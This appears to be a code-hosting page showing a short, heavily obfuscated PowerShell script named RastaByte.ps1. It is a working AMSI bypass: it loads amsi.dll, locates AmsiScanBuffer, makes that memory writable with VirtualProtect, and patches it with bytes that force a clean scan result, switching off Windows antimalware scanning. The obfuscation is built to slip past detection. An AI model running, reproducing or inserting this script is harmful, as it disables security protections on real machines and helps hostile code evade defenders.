gggg / test /RastaByte.ps1
enotkrutoy's picture
Rename test/Byte.ps1 to test/RastaByte.ps1
138f956 verified
raw
history blame
1.26 kB
sEt-iTem vAriabLe:MGp ([tYPe]("{1}{0}" -f '32','WIn')) ; $35fH6 = [typE]("{6}{1}{5}{3}{0}{2}{4}" -F 'iC','nTI','es.MaR','e.interopsErV','sHAL','m','sySTeM.rU') ; ${W`I`N32} = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
.("{1}{2}{0}"-f'-Type','A','dd') ${wIn`32}
${L`oADl`IBr`Ary} = (GEt-vARIaBLE ('mg'+'p') -vaL )::("{0}{1}{3}{2}" -f 'L','oa','brary','dLi').Invoke("am" + ("{1}{0}" -f'dll','si.'))
${AddR`e`ss} = ( gET-vARIAbLE mGP)."Va`lUe"::("{2}{1}{4}{3}{0}"-f'dress','etP','G','cAd','ro').Invoke(${Lo`A`DLIBr`Ary}, ("{0}{1}"-f 'A','msi') + ("{1}{0}"-f'n','Sca') + ("{1}{2}{0}"-f'r','Buff','e'))
${P} = 0
(get-ITEm VARIable:mgp)."v`AlUe"::"vI`RtuaLpRo`TE`cT"(${Add`RE`SS}, [uint32]5, 0x40, [ref]${P})
${pa`Tch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
( Gi varIaBlE:35FH6 )."Val`UE"::("{1}{0}"-f'y','Cop').Invoke(${PAt`CH}, 0, ${aD`dReSs}, 6)